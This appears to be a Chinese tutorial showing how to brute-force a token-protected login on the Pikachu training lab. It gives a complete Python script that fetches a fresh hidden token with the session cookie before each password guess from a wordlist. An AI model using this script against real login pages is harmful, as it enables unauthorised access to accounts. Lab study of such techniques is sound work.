带token的暴力破解
每次登陆都会带上随机数token值,每次登陆都比对token值,token值不对则不进行登陆操作。
1.思路
每次发送登陆请求前先发送一个get请求获取token值,再带上获取的token值进行暴力破解。
2.cookie
这里发包的时候我们要带上cookie值,才能使用相同通道,这样保证我们上次发包请求到的token值在下次登陆时可以使用。不带上cookie值,服务器不会将这次的请求与上次的请求当作同一用户请求,那么我们先发的get请求获取的token值就没用了。cookie值可以从浏览器里查找,也可以通过插件查看。
3.exp
这里的举例没有跑用户名,就当知道用户名情况下破解。也可以在外层再套一层用户名字典循环同时跑用户名密码。
3.1 get请求获取token
先通过get请求页面,正则提取token值
url = "http://192.168.110.131/pikachu-master/vul/burteforce/bf_token.php"
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Cookie': 'PHPSESSID=6lipfdef22eqdok5vf00egf8og'
#带上cookie,模拟在同一页面操作
}
res_get = requests.get(url, headers=header)
token = re.findall('<input type="hidden" name="token" value="(.*?)"', res_get.text) # 获取前端token
3.2 post请求登陆爆破
将获取到的token,以及用户名密码等参数通过post请求传递给服务器,通过正则匹配返回包判断是否找到密码。
data = {
'username': username,
'password': password.strip(),
'token': token,
'submit': 'Login'
}
#http主体数据
res_post = requests.post(url=url, headers=header, data=data)
#发送http包
# print (res.text)
if not re.findall('username or password is not exists', res_post.text):
#正则匹配返回包找到正确密码
print('密码找到了!')
print("用户名是:", username)
print("密码是:", password.strip())
4.完整代码
import re
import requests
username='admin'
with open('easy.txt', 'r') as passwd:
for password in passwd:
# 遍历字典文件匹配
url = "http://192.168.110.131/pikachu-master/vul/burteforce/bf_token.php"
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Cookie': 'PHPSESSID=6lipfdef22eqdok5vf00egf8og'
#带上cookie,模拟在同一页面操作
}
res_get = requests.get(url, headers=header)
token = re.findall('<input type="hidden" name="token" value="(.*?)"', res_get.text) # 获取前端token
# print (token)
data = {
'username': username,
'password': password.strip(),
'token': token,
'submit': 'Login'
}
#http主体数据
res_post = requests.post(url=url, headers=header, data=data)
#发送http包
# print (res.text)
if not re.findall('username or password is not exists', res_post.text):
#正则匹配返回包找到正确密码
print('密码找到了!')
print("用户名是:", username)
print("密码是:", password.strip())